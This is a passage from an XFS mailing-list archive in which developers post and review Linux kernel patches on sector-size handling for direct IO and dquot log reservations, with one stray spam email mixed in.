[PATCH 2/3 V2] xfs: rename xfs_buftarg structure members In-Reply-To: <52D99D29.4020400@sandeen.net> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1390227684 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 01/17/2014 04:14 PM, Eric Sandeen wrote: > In preparation for adding new members to the xfs_buftarg > structure, give these old ones more descriptive names: > > bt_ssize -> bt_meta_sectorsize > bt_smask -> bt_meta_sectormask > > (Note the slight change in logic format in xfs_file_aio_read(() > and xfs_file_dio_aio_write(); this was done just for formatting, > and should not change actual logic or behavior.) > > Signed-off-by: Eric Sandeen > --- Reviewed-by: Brian Foster > > V2: Really make the logic equivalent, thanks Roger! > > diff --git a/fs/xfs/xfs_buf.c b/fs/xfs/xfs_buf.c > index b664bce..a526f8d 100644 > --- a/fs/xfs/xfs_buf.c > +++ b/fs/xfs/xfs_buf.c > @@ -445,8 +445,8 @@ _xfs_buf_find( > numbytes = BBTOB(numblks); > > /* Check for IOs smaller than the sector size / not sector aligned */ > - ASSERT(!(numbytes < btp->bt_ssize)); > - ASSERT(!(BBTOB(blkno) & (xfs_off_t)btp->bt_smask)); > + ASSERT(!(numbytes < btp->bt_meta_sectorsize)); > + ASSERT(!(BBTOB(blkno) & (xfs_off_t)btp->bt_meta_sectormask)); > > /* > * Corrupted block numbers can get through to here, unfortunately, so we > @@ -1599,8 +1599,8 @@ xfs_setsize_buftarg( > unsigned int blocksize, > unsigned int sectorsize) > { > - btp->bt_ssize = sectorsize; > - btp->bt_smask = sectorsize - 1; > + btp->bt_meta_sectorsize = sectorsize; > + btp->bt_meta_sectormask = sectorsize - 1; > > if (set_blocksize(btp->bt_bdev, sectorsize)) { > char name[BDEVNAME_SIZE]; > diff --git a/fs/xfs/xfs_buf.h b/fs/xfs/xfs_buf.h > index 4ef949a..d5d88dd 100644 > --- a/fs/xfs/xfs_buf.h > +++ b/fs/xfs/xfs_buf.h > @@ -93,8 +93,8 @@ typedef struct xfs_buftarg { > struct block_device *bt_bdev; > struct backing_dev_info *bt_bdi; > struct xfs_mount *bt_mount; > - unsigned int bt_ssize; > - size_t bt_smask; > + unsigned int bt_meta_sectorsize; > + size_t bt_meta_sectormask; > > /* LRU control structures */ > struct shrinker bt_shrinker; > diff --git a/fs/xfs/xfs_file.c b/fs/xfs/xfs_file.c > index 52c91e1..61a7de0 100644 > --- a/fs/xfs/xfs_file.c > +++ b/fs/xfs/xfs_file.c > @@ -261,7 +261,7 @@ xfs_file_aio_read( > xfs_buftarg_t *target = > XFS_IS_REALTIME_INODE(ip) ? > mp->m_rtdev_targp : mp->m_ddev_targp; > - if ((pos & target->bt_smask) || (size & target->bt_smask)) { > + if ((pos | size) & target->bt_meta_sectormask) { > if (pos == i_size_read(inode)) > return 0; > return -XFS_ERROR(EINVAL); > @@ -641,7 +641,7 @@ xfs_file_dio_aio_write( > struct xfs_buftarg *target = XFS_IS_REALTIME_INODE(ip) ? > mp->m_rtdev_targp : mp->m_ddev_targp; > > - if ((pos & target->bt_smask) || (count & target->bt_smask)) > + if ((pos | count) & target->bt_meta_sectormask) > return -XFS_ERROR(EINVAL); > > if ((pos & mp->m_blockmask) || ((pos + count) & mp->m_blockmask)) > diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c > index 39c38ee..64ca8e9 100644 > --- a/fs/xfs/xfs_ioctl.c > +++ b/fs/xfs/xfs_ioctl.c > @@ -1587,7 +1587,7 @@ xfs_file_ioctl( > XFS_IS_REALTIME_INODE(ip) ? > mp->m_rtdev_targp : mp->m_ddev_targp; > > - da.d_mem = da.d_miniosz = target->bt_ssize; > + da.d_mem = da.d_miniosz = target->bt_meta_sectorsize; > da.d_maxiosz = INT_MAX & ~(da.d_miniosz - 1); > > if (copy_to_user(arg, &da, sizeof(da))) > > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs > > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs > From bfoster@redhat.com Mon Jan 20 08:21:44 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A61F87F37 for ; Mon, 20 Jan 2014 08:21:44 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 9613A8F8033 for ; Mon, 20 Jan 2014 06:21:41 -0800 (PST) X-ASG-Debug-ID: 1390227700-04cbb04167f06b30001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 1F4qsXEqoCAcCe0f for ; Mon, 20 Jan 2014 06:21:40 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx02.intmail.prod.int.phx2.redhat.com (int-mx02.intmail.prod.int.phx2.redhat.com [10.5.11.12]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s0KELdXO001813 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 20 Jan 2014 09:21:40 -0500 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx02.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s0KELdcP005997; Mon, 20 Jan 2014 09:21:39 -0500 Message-ID: <52DD30F2.3000504@redhat.com> Date: Mon, 20 Jan 2014 09:21:38 -0500 From: Brian Foster User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Eric Sandeen , xfs-oss Subject: Re: [PATCH 3/3] xfs: allow logical-sector sized O_DIRECT IOs References: <52D6CC91.6000408@redhat.com> <52D9910C.9000205@sandeen.net> <52D99255.9090609@sandeen.net> X-ASG-Orig-Subj: Re: [PATCH 3/3] xfs: allow logical-sector sized O_DIRECT IOs In-Reply-To: <52D99255.9090609@sandeen.net> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.67 on 10.5.11.12 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1390227700 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 01/17/2014 03:28 PM, Eric Sandeen wrote: > Some time ago, mkfs.xfs started picking the storage physical > sector size as the default filesystem "sector size" in order > to avoid RMW costs incurred by doing IOs at logical sector > size alignments. > > However, this means that for a filesystem made with i.e. > a 4k sector size on an "advanced format" 4k/512 disk, > 512-byte direct IOs are no longer allowed. This means > that XFS has essentially turned this AF drive into a hard > 4K device, from the filesystem on up. > > XFS's mkfs-specified "sector size" is really just controlling > the minimum size & alignment of filesystem metadata. > > There is no real need to tightly couple XFS's minimal > metadata size to the minimum allowed direct IO size; > XFS can continue doing metadata in optimal sizes, but > still allow smaller DIOs for apps which issue them, > for whatever reason. > > This patch adds new information to the xfs_buftarg, so that > we now track 2 sizes: > > 1) The metadata sector size, which is the minimum unit and > alignment of IO which will be performed by metadata operations. > 2) The device logical sector size. > > The first is used internally by the file system for metadata > alignment and IOs. > The second is used for the minimum allowed direct IO size and > alignment. > > This has passed xfstests on filesystems made with 4k sectors, > including when run under the patch I sent to ignore > XFS_IOC_DIOINFO, and issue 512 DIOs anyway. I also directly > tested end of block behavior on preallocated, sparse, and > existing files when we do a 512 IO into a 4k file on a > 4k-sector filesystem, to be sure there were no unexpected > behaviors. > > Signed-off-by: Eric Sandeen > diff --git a/fs/xfs/xfs_buf.c b/fs/xfs/xfs_buf.c > index a526f8d..5175711 100644 > --- a/fs/xfs/xfs_buf.c > +++ b/fs/xfs/xfs_buf.c > @@ -1599,6 +1599,7 @@ xfs_setsize_buftarg( > unsigned int blocksize, > unsigned int sectorsize) > { > + /* Set up metadata sector size info */ > btp->bt_meta_sectorsize = sectorsize; > btp->bt_meta_sectormask = sectorsize - 1; > > @@ -1613,6 +1614,10 @@ xfs_setsize_buftarg( > return EINVAL; > } > > + /* Set up device logical sector size mask */ > + btp->bt_logical_sectorsize = bdev_logical_block_size(btp->bt_bdev); > + btp->bt_logical_sectormask = bdev_logical_block_size(btp->bt_bdev) - 1; > + > return 0; > } > > diff --git a/fs/xfs/xfs_buf.h b/fs/xfs/xfs_buf.h > index d5d88dd..9953395 100644 > --- a/fs/xfs/xfs_buf.h > +++ b/fs/xfs/xfs_buf.h > @@ -88,6 +88,19 @@ typedef unsigned int xfs_buf_flags_t; > */ > #define XFS_BSTATE_DISPOSE (1 << 0) /* buffer being discarded */ > > +/* > + * The xfs_buftarg contains 2 notions of "sector size" - > + * > + * 1) The metadata sector size, which is the minimum unit and > + * alignment of IO which will be performed by metadata operations. > + * 2) The device logical sector size > + * > + * The first is specified at mkfs time, and is stored on-disk in the > + * superblock's sb_sectsize. > + * > + * The latter is derived from the underlying device, and controls direct IO > + * alignment constraints. > + */ > typedef struct xfs_buftarg { > dev_t bt_dev; > struct block_device *bt_bdev; > @@ -95,6 +108,8 @@ typedef struct xfs_buftarg { > struct xfs_mount *bt_mount; > unsigned int bt_meta_sectorsize; > size_t bt_meta_sectormask; > + size_t bt_logical_sectorsize; > + size_t bt_logical_sectormask; > > /* LRU control structures */ > struct shrinker bt_shrinker; > diff --git a/fs/xfs/xfs_file.c b/fs/xfs/xfs_file.c > index 61a7de0..5507420 100644 > --- a/fs/xfs/xfs_file.c > +++ b/fs/xfs/xfs_file.c > @@ -261,7 +261,8 @@ xfs_file_aio_read( > xfs_buftarg_t *target = > XFS_IS_REALTIME_INODE(ip) ? > mp->m_rtdev_targp : mp->m_ddev_targp; > - if ((pos || size) & target->bt_meta_sectormask) { > + /* DIO must be aligned to device logical sector size */ > + if ((pos || size) & target->bt_logical_sectormask) { > if (pos == i_size_read(inode)) > return 0; > return -XFS_ERROR(EINVAL); > @@ -641,9 +642,11 @@ xfs_file_dio_aio_write( > struct xfs_buftarg *target = XFS_IS_REALTIME_INODE(ip) ? > mp->m_rtdev_targp : mp->m_ddev_targp; > > - if ((pos || count) & target->bt_meta_sectormask) > + /* DIO must be aligned to device logical sector size */ > + if ((pos || count) & target->bt_logical_sectormask) > return -XFS_ERROR(EINVAL); > Looks like this requires a v2 to preserve the fixes made in v2 of patch 2, unless I missed a newer version of this somewhere. Brian > + /* "unaligned" here means not aligned to a filesystem block */ > if ((pos & mp->m_blockmask) || ((pos + count) & mp->m_blockmask)) > unaligned_io = 1; > > diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c > index 64ca8e9..f7ac335 100644 > --- a/fs/xfs/xfs_ioctl.c > +++ b/fs/xfs/xfs_ioctl.c > @@ -1587,7 +1587,7 @@ xfs_file_ioctl( > XFS_IS_REALTIME_INODE(ip) ? > mp->m_rtdev_targp : mp->m_ddev_targp; > > - da.d_mem = da.d_miniosz = target->bt_meta_sectorsize; > + da.d_mem = da.d_miniosz = target->bt_logical_sectorsize; > da.d_maxiosz = INT_MAX & ~(da.d_miniosz - 1); > > if (copy_to_user(arg, &da, sizeof(da))) > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs > From bfoster@redhat.com Mon Jan 20 08:29:04 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B18477F37 for ; Mon, 20 Jan 2014 08:29:04 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 9E294304053 for ; Mon, 20 Jan 2014 06:29:04 -0800 (PST) X-ASG-Debug-ID: 1390228143-04cb6c537bef4ae0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id S8L7w4kFGgD2aEV2 for ; Mon, 20 Jan 2014 06:29:03 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s0KET29G005060 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Mon, 20 Jan 2014 09:29:02 -0500 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s0KET1w3032298 for ; Mon, 20 Jan 2014 09:29:02 -0500 Received: by bfoster.bfoster (Postfix, from userid 1000) id E3F6A12509A; Mon, 20 Jan 2014 09:29:00 -0500 (EST) From: Brian Foster To: xfs@oss.sgi.com Subject: [PATCH v2] xfs: use tr_qm_dqalloc log reservation for dquot alloc Date: Mon, 20 Jan 2014 09:29:00 -0500 X-ASG-Orig-Subj: [PATCH v2] xfs: use tr_qm_dqalloc log reservation for dquot alloc Message-Id: <1390228140-49211-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1390228143 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 The dquot allocation path in xfs_qm_dqread() currently uses the attribute set log reservation, which appears to be incorrect. We have reports of transaction reservation overruns with the current code. E.g., a repeated run of xfstests test generic/270 on a 512b block size fs occassionally produces the following in dmesg: XFS (sdN): xlog_write: reservation summary: trans type = QM_DQALLOC (30) unit res = 7080 bytes current res = -632 bytes total reg = 0 bytes (o/flow = 0 bytes) ophdrs = 0 (ophdr space = 0 bytes) ophdr + reg = 0 bytes num regions = 0 XFS (sdN): xlog_write: reservation ran out. Need to up reservation The dquot allocation case should consist of a write reservation (i.e., we are allocating a range of the internal quota file) plus the size of the actual dquots. We already have a log reservation definition for this operation (tr_qm_dqalloc). Use it in xfs_qm_dqread() and update the log reservation calculation function to use the write res. calculation function rather than reading the assumed to be pre-calculated value directly. Signed-off-by: Brian Foster --- v2: - Fix up comment for dqalloc res. size calc. function. [Jeff Liu] fs/xfs/xfs_dquot.c | 2 +- fs/xfs/xfs_trans_resv.c | 5 ++--- 2 files changed, 3 insertions(+), 4 deletions(-) diff --git a/fs/xfs/xfs_dquot.c b/fs/xfs/xfs_dquot.c index 6b1e695..06280c6 100644 --- a/fs/xfs/xfs_dquot.c +++ b/fs/xfs/xfs_dquot.c @@ -614,7 +614,7 @@ xfs_qm_dqread( if (flags & XFS_QMOPT_DQALLOC) { tp = xfs_trans_alloc(mp, XFS_TRANS_QM_DQALLOC); - error = xfs_trans_reserve(tp, &M_RES(mp)->tr_attrsetm, + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_qm_dqalloc, XFS_QM_DQALLOC_SPACE_RES(mp), 0); if (error) goto error1; diff --git a/fs/xfs/xfs_trans_resv.c b/fs/xfs/xfs_trans_resv.c index 2fd59c0..79032dd 100644 --- a/fs/xfs/xfs_trans_resv.c +++ b/fs/xfs/xfs_trans_resv.c @@ -644,15 +644,14 @@ xfs_calc_qm_setqlim_reservation( /* * Allocating quota on disk if needed. - * the write transaction log space: M_RES(mp)->tr_write.tr_logres + * the write transaction log space for quota file extent allocation * the unit of quota allocation: one system block size */ STATIC uint xfs_calc_qm_dqalloc_reservation( struct xfs_mount *mp) { - ASSERT(M_RES(mp)->tr_write.tr_logres); - return M_RES(mp)->tr_write.tr_logres + + return xfs_calc_write_reservation(mp) + xfs_calc_buf_res(1, XFS_FSB_TO_B(mp, XFS_DQUOT_CLUSTER_SIZE_FSB) - 1); } -- 1.8.1.4 From mrpk201@centurytel.net Mon Jan 20 08:40:36 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id D2B597F37 for ; Mon, 20 Jan 2014 08:40:36 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id C3E95304032 for ; Mon, 20 Jan 2014 06:40:33 -0800 (PST) X-ASG-Debug-ID: 1390228831-04cb6c537eef50b0001-w1Z2WR Received: from aifasa.com (mail.aifasa.com [190.95.210.18]) by cuda.sgi.com with ESMTP id DhmG9Rfuhr9dTbEs (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 20 Jan 2014 06:40:32 -0800 (PST) X-Barracuda-Envelope-From: mrpk201@centurytel.net X-Barracuda-Apparent-Source-IP: 190.95.210.18 Received: from [10.244.233.10] ([46.115.84.233]) (authenticated bits=0) by aifasa.com (8.13.1/8.13.1) with ESMTP id s0KE6eLg016638; Mon, 20 Jan 2014 09:07:21 -0500 Message-Id: <201401201407.s0KE6eLg016638@aifasa.com> Content-Type: text/plain; charset="iso-8859-1" MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Content-Description: Mail message body Subject: Investing In Your Country To: Recipients X-ASG-Orig-Subj: Investing In Your Country From: "Mr. Pkr" Date: Mon, 20 Jan 2014 15:11:00 +0100 Reply-To: paul.013@aim.com X-aifasa-MailScanner-Information: Please contact the ISP for more information X-aifasa-MailScanner-ID: s0KE6eLg016638 X-aifasa-MailScanner: Found to be clean X-aifasa-MailScanner-SpamScore: ssss X-aifasa-MailScanner-From: mrpk201@centurytel.net X-Barracuda-Connect: mail.aifasa.com[190.95.210.18] X-Barracuda-Start-Time: 1390228832 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.70 X-Barracuda-Spam-Status: No, SCORE=0.70 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA_TO_FROM_ADDR_MATCH, BSF_SC7_SA298e X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144283 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.50 BSF_SC0_SA_TO_FROM_ADDR_MATCH Sender Address Matches Recipient Address 0.20 BSF_SC7_SA298e Custom Rule SA298e Hi my name is Paul can we both work on investment project for benefit in yo= ur country ? . If interested email back to ( paul.013@aim.com ) . From sandeen@sandeen.net Mon Jan 20 08:53:46 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id E00067F37 for ; Mon, 20 Jan 2014 08:53:46 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id C8CFA8F8064 for ; Mon, 20 Jan 2014 06:53:46 -0800 (PST) X-ASG-Debug-ID: 1390229625-04cb6c537eef58c0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id Vqs1jyCq1GQHNnDl for ; Mon, 20 Jan 2014 06:53:45 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id CA43463C3BD0; Mon, 20 Jan 2014 08:53:44 -0600 (CST) Message-ID: <52DD3878.3050908@sandeen.net> Date: Mon, 20 Jan 2014 08:53:44 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Brian Foster , xfs-oss Subject: Re: [PATCH 3/3] xfs: allow logical-sector sized O_DIRECT IOs References: <52D6CC91.6000408@redhat.com> <52D9910C.9000205@sandeen.net> <52D99255.9090609@sandeen.net> <52DD30F2.3000504@redhat.com> X-ASG-Orig-Subj: Re: [PATCH 3/3] xfs: allow logical-sector sized O_DIRECT IOs In-Reply-To: <52DD30F2.3000504@redhat.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1390229625 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144284 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 1/20/14, 8:21 AM, Brian Foster wrote: > On 01/17/2014 03:28 PM, Eric Sandeen wrote: >> Some time ago, mkfs.xfs started picking the storage physical >> sector size as the default filesystem "sector size" in order >> to avoid RMW costs incurred by doing IOs at logical sector >> size alignments. >> >> However, this means that for a filesystem made with i.e. >> a 4k sector size on an "advanced format" 4k/512 disk, >> 512-byte direct IOs are no longer allowed. This means >> that XFS has essentially turned this AF drive into a hard >> 4K device, from the filesystem on up. >> >> XFS's mkfs-specified "sector size" is really just controlling >> the minimum size & alignment of filesystem metadata. >> >> There is no real need to tightly couple XFS's minimal >> metadata size to the minimum allowed direct IO size; >> XFS can continue doing metadata in optimal sizes, but >> still allow smaller DIOs for apps which issue them, >> for whatever reason. >> >> This patch adds new information to the xfs_buftarg, so that >> we now track 2 sizes: >> >> 1) The metadata sector size, which is the minimum unit and >> alignment of IO which will be performed by metadata operations. >> 2) The device logical sector size. >> >> The first is used internally by the file system for metadata >> alignment and IOs. >> The second is used for the minimum allowed direct IO size and >> alignment. >> >> This has passed xfstests on filesystems made with 4k sectors, >> including when run under the patch I sent to ignore >> XFS_IOC_DIOINFO, and issue 512 DIOs anyway. I also directly >> tested end of block behavior on preallocated, sparse, and >> existing files when we do a 512 IO into a 4k file on a >> 4k-sector filesystem, to be sure there were no unexpected >> behaviors. >> >> Signed-off-by: Eric Sandeen >> diff --git a/fs/xfs/xfs_buf.c b/fs/xfs/xfs_buf.c >> index a526f8d..5175711 100644 >> --- a/fs/xfs/xfs_buf.c >> +++ b/fs/xfs/xfs_buf.c >> @@ -1599,6 +1599,7 @@ xfs_setsize_buftarg( >> unsigned int blocksize, >> unsigned int sectorsize) >> { >> + /* Set up metadata sector size info */ >> btp->bt_meta_sectorsize = sectorsize; >> btp->bt_meta_sectormask = sectorsize - 1; >> >> @@ -1613,6 +1614,10 @@ xfs_setsize_buftarg( >> return EINVAL; >> } >> >> + /* Set up device logical sector size mask */ >> + btp->bt_logical_sectorsize = bdev_logical_block_size(btp->bt_bdev); >> + btp->bt_logical_sectormask = bdev_logical_block_size(btp->bt_bdev) - 1; >> + >> return 0; >> } >> >> diff --git a/fs/xfs/xfs_buf.h b/fs/xfs/xfs_buf.h >> index d5d88dd..9953395 100644 >> --- a/fs/xfs/xfs_buf.h >> +++ b/fs/xfs/xfs_buf.h >> @@ -88,6 +88,19 @@ typedef unsigned int xfs_buf_flags_t; >> */ >> #define XFS_BSTATE_DISPOSE (1 << 0) /* buffer being discarded */ >> >> +/* >> + * The xfs_buftarg contains 2 notions of "sector size" - >> + * >> + * 1) The metadata sector size, which is the minimum unit and >> + * alignment of IO which will be performed by metadata operations. >> + * 2) The device logical sector size >> + * >> + * The first is specified at mkfs time, and is stored on-disk in the >> + * superblock's sb_sectsize. >> + * >> + * The latter is derived from the underlying device, and controls direct IO >> + * alignment constraints. >> + */ >> typedef struct xfs_buftarg { >> dev_t bt_dev; >> struct block_device *bt_bdev; >> @@ -95,6 +108,8 @@ typedef struct xfs_buftarg { >> struct xfs_mount *bt_mount; >> unsigned int bt_meta_sectorsize; >> size_t bt_meta_sectormask; >> + size_t bt_logical_sectorsize; >> + size_t bt_logical_sectormask; >> >> /* LRU control structures */ >> struct shrinker bt_shrinker; >> diff --git a/fs/xfs/xfs_file.c b/fs/xfs/xfs_file.c >> index 61a7de0..5507420 100644 >> --- a/fs/xfs/xfs_file.c >> +++ b/fs/xfs/xfs_file.c >> @@ -261,7 +261,8 @@ xfs_file_aio_read( >> xfs_buftarg_t *target = >> XFS_IS_REALTIME_INODE(ip) ? >> mp->m_rtdev_targp : mp->m_ddev_targp; >> - if ((pos || size) & target->bt_meta_sectormask) { >> + /* DIO must be aligned to device logical sector size */ >> + if ((pos || size) & target->bt_logical_sectormask) { >> if (pos == i_size_read(inode)) >> return 0; >> return -XFS_ERROR(EINVAL); >> @@ -641,9 +642,11 @@ xfs_file_dio_aio_write( >> struct xfs_buftarg *target = XFS_IS_REALTIME_INODE(ip) ? >> mp->m_rtdev_targp : mp->m_ddev_targp; >> >> - if ((pos || count) & target->bt_meta_sectormask) >> + /* DIO must be aligned to device logical sector size */ >> + if ((pos || count) & target->bt_logical_sectormask) >> return -XFS_ERROR(EINVAL); >> > > Looks like this requires a v2 to preserve the fixes made in v2 of patch > 2, unless I missed a newer version of this somewhere. You're right. 2 diligence demerits for me. :( (Hopefully it just wouldn't have applied...) Maybe I'll just resend the whole series. Thanks, -Eric From rjohnston@sgi.com Mon Jan 20 09:35:49 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id DF4227F37 for ; Mon, 20 Jan 2014 09:35:49 -0600 (CST) Received: from xmail.sgi.com (pv-excas2-dc21.corp.sgi.com [137.38.106.9]) by relay3.corp.sgi.com (Postfix) with ESMTP id 63440AC001; Mon, 20 Jan 2014 07:35:46 -0800 (PST) Received: from [134.15.1.194] (134.15.1.194) by xmail.sgi.com (137.38.106.6) with Microsoft SMTP Server (TLS) id 14.3.123.3; Mon, 20 Jan 2014 09:35:45 -0600 Message-ID: <52DD4250.6050806@sgi.com> Date: Mon, 20 Jan 2014 09:35:44 -0600 From: Rich Johnston User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Eryu Guan , CC: Eric Sandeen Subject: Re: [PATCH RESEND] ext4: regression test for ext4 resize with non-extent files References: <1390201767-5352-1-git-send-email-eguan@redhat.com> In-Reply-To: <1390201767-5352-1-git-send-email-eguan@redhat.com> Content-Type: text/plain; charset="ISO-8859-1"; format=flowed Content-Transfer-Encoding: 7bit X-Originating-IP: [134.15.1.194] Worked fine for me. Reviewed-by: Rich Johnston From rjohnston@sgi.com Mon Jan 20 09:49:39 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 6268A7F37 for ; Mon, 20 Jan 2014 09:49:39 -0600 (CST) Received: from xmail.sgi.com (pv-excas2-dc21.corp.sgi.com [137.38.106.9]) by relay1.corp.sgi.com (Postfix) with ESMTP id 33AF38F8068; Mon, 20 Jan 2014 07:49:36 -0800 (PST) Received: from [134.15.1.194] (134.15.1.194) by xmail.sgi.com (137.38.106.6) with Microsoft SMTP Server (TLS) id 14.3.123.3; Mon, 20 Jan 2014 09:49:35 -0600 Message-ID: <52DD458E.1050201@sgi.com> Date: Mon, 20 Jan 2014 09:49:34 -0600 From: Rich Johnston User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Eryu Guan , CC: 